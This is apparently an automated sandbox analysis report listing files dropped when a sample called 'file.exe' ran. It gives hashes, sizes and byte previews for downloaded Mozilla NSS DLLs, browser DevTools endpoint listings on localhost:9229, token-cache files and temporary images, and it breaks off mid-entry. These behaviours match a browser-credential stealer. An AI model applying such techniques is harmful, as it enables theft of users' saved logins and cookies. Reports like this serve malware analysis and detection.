Encrypted:	false
SSDEEP:	48:uiTrlKxrgxbwCxl9Il8uevXB0YKHSSMbFtgd1rc:m3GYIXB0Bib3X
MD5:	6C99937510D02F578842DB7D2F02596F
SHA1:	7CE6BA12F76080D5CA0A8561049A469992918CE1
SHA-256:	B5C6BE5644DEDD3C043E5D96EC00A13F18DCB1B169C3620CA404A5E761AA680E
SHA-512:	32805525AC4EAD30DC09384899436A5B94ECAAF67C890FF8C248D0131CD51568C50F8550624D1F4B907D38B8398504347083C34A40C994C4485D44603520A734
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.F.J.g.B.I.U.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.u.T.i.t.O.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9955878705233485
Encrypted:	false
SSDEEP:	96:QY+Qy9k7u94UPXgk5/D+NYVG7lfGLReYvY0r0h04:Qf9aqWkROYWdGLRvxr0V
MD5:	1A1C06201DBC25F1130C5E6F3A50BC0A
SHA1:	A0F9D1AE6476F755C09A774F9C3879E17ED2D06F
SHA-256:	342AF7C0B8E090315CE25B26B6726D8B51B6F3ECED330F535B289EB9BDD3DB6A
SHA-512:	19664166C847E8660DD27C19DEDF0D3AF0996D82F31385CF33458C47B5D1F8CFA9C3F0A103316CEAD1B45422EBC87062609077CC2729C29761CE817552740137
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".j.9.E.H.6.n.w.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.u.T.i.t.O.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8983776138919692
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xQhxl9Il8ueb0JGiCtn+9z0mJxY1v/LYDx+d/vc:amY00J1Z9zXYl/LYD9
MD5:	4ADC0B40429DEE2CAFF72248879DE054
SHA1:	F645376701AC6B6BC3EE25E2A4949B6AFE7BEFFD
SHA-256:	52DF1CD94E1F49382B6B6DF6F87D259CB8C2D7F0506E55EB5633CCDBEF61D05B
SHA-512:	685AF87C959885C26A0BDD02565DC5A232B01E7F7F64AF816C8E18C1320A2078607ED9A21EFD5F3268EE1F997168CCC36A19C9C1BD831D556B481117EA176C4C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".L.r.B.l.G.U.5.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.O.u.T.i.t.O.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.388434115697036
Encrypted:	false
SSDEEP:	96:6NnQuHQKNnQsbQDNnQI9QONnQhdgEQaNnQIQoNnQlLJ0DQlHNnQwwQ2NnQc3QV:6NFNONHNg/NbNit0mHN3SNs
MD5:	FF108548EBDE746A2B6BA2B1A5CAB5D7
SHA1:	A60D033E17615AC03876B1C8ECFCB7CB0EBEE07C
SHA-256:	B141A286451C8C4E5AB98345D923FAD49A64512D1CDF44E5F87B738794019E39
SHA-512:	CC631275BFF4AABEC72F5B277FCF3E8621E251F77DB8DCF137A1DB18FB2E25242B64DB5FD0CFA8D91C54FE9EAD3BA7405E93E4B526087370AF458D3848376F00
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/02D0443460976214612EA72DF66DA970",.. "id": "02D0443460976214612EA72DF66DA970",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/02D0443460976214612EA72DF66DA970"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/60CEC6E93D5902606CFD3A7F05F1A3F0",.. "id": "60CEC6E93D5902606CFD3A7F05F1A3F0",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/60CEC6E93D5902606CFD3A7F05F1A3F0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.383978923502161
Encrypted:	false
SSDEEP:	48:SfNaoQNTEQ4fNaoQfW5QfcfNaoQxQlfNaoQNQIX0UrU0U8QNf:6NnQNTEQENnQfW5QfINnQxQRNnQz0UrK
MD5:	77860881729E6486B48F9E3AB4F7C7BB
SHA1:	F1F69A7DDD2E6C1BB693BA0C01C7CA02CACC3BDC
SHA-256:	0F7F390F61CC97D4E3F16AB5E5AA22A50A417B2B6A9B97B2222D765EAF4AC2D9
SHA-512:	1CF3AACDA2750F7B3E549A5DE9FC040BD60E1EF3C090DD315855A51C668CE21EF77C740FB972EEC2FF850EC0F25FC1FDF151D3B37CCDDE16F7F4D53A6730F61A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8587E5FC568F123B760E18F3589E725B",.. "id": "8587E5FC568F123B760E18F3589E725B",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8587E5FC568F123B760E18F3589E725B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2F01ED12AB3BB7E0DA768866D89AA4FE",.. "id": "2F01ED12AB3BB7E0DA768866D89AA4FE",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2F01ED12AB3BB7E0DA768866D89AA4FE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1cb2f0ed-6aa0-4e68-89d6-10a5fff50dc2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\319a8914-092c-4ff5-8b69-d93c70ab254f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1519506
Entropy (8bit):	7.9907928479119965
Encrypted:	true
SSDEEP:	24576:yhyTchRldVlT46syL4BYBkdKh5SBv4zABO0S8pl+QHmcN5EHV4clLUefvLu:wyTchRld/T46sveB+Kh584zADNpcQGcn
MD5:	758FA30E59DBA2B9929E3DB29AC72BBE
SHA1:	95A0E3F4310EB63F317D0A9E549DF7AF6DF5EDD3
SHA-256:	CE76B8BDC9409897FEF9035C0FCF7556AE8158B6014943F80628892C418E3BE2
SHA-512:	B5AD5EB15738266B6E4ECF10EE94C5686272EA3AF4D3AB1699D4B8217CEDE70AFA60ECF6B788CDB75B820CF82B875B21B0804C2A01CBF83332845D4EFE95FB3B
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\49d1f00d-ead4-42cb-b087-0e33d44ab6a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\5914a1af-fa98-402f-a488-254ea87994a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\69a50da5-ef88-4862-b715-d53db29b9f49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\b2409fb0-3872-4479-8f6a-245597112adf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
